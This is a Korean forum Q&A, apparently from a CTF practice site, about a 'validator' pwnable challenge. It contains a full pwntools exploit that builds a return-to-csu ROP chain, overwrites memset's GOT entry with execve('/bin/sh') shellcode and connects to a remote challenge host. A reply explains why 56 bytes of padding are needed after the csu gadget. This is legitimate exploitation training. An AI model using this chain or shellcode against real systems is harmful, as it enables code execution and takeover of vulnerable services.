rtc를 이용한 exploit 코드가 왜 안되는지 모르겠습니다..
아래는 제 exploit 코드입니다.
이 코드에서 쉘 코드를 memset got에 overwrite한 후 memset의 got으로 ret를 변조할 때 앞에 p64(0)을 7번 붙여주지 않는다면 exploit이 수행되지 않는데, 이유를 모르겠습니다.. 왜 memset got으로만 ret를 변조했을 때는 쉘을 얻지 못하지만 앞에 p64(0)을 7번 붙여준다면 쉘을 얻을 수 있는건가요?
from pwn import *
context.log_level = 'debug'
csu_pop = 0x00000000004006EA
#pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret
csu_mov = 0x00000000004006D0
#r15 -> rdx r14 -> rsi r13 -> rdi call r12+rbx*8
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
#31byte
payload = b"DREAMHACK!"
arr = []
for i in range(118,0,-1):
arr.append(i)
payload += bytearray(arr)
payload += p64(0)
print(len(payload))
p = remote('host1.dreamhack.games', 8893)
#p = process('./validator_dist')
e = ELF('./validator_dist')
bss = e.bss()
def make_csu_chain(address, arg1, arg2, arg3):
temp = p64(csu_pop) + p64(0) + p64(1) + address + arg1 + arg2 + arg3 + p64(csu_mov)
return temp
payload += make_csu_chain(p64(e.got['read']), p64(0), p64(e.got['memset']), p64(len(shellcode)+1))
payload += p64(e.got['memset'])
#위 코드 대신 이 코드를 사용하면 exploit이 됨 payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(e.got['memset'])
p.sendline(payload)
sleep(0.5)
p.sendline(shellcode)
p.interactive()
위는 csu 코드 및 주소 입니다.
#pwnable
작성자 정보
답변
1
Sechack
2024 Invitational Contenders
정확한건 gdb로 봐야 알겠지만 csu구조상 add rsp, 8을 한번 하고 그다음에 pop을 6번 한뒤에 ret을 수행하므로 rip를 조작하고 싶으시면 dummy data를 앞에 8x7 = 56byte만큼 즉 p64(0)*7을 붙여줘야 원하는 주소로 rip를 조작할 수 있게 됩니다.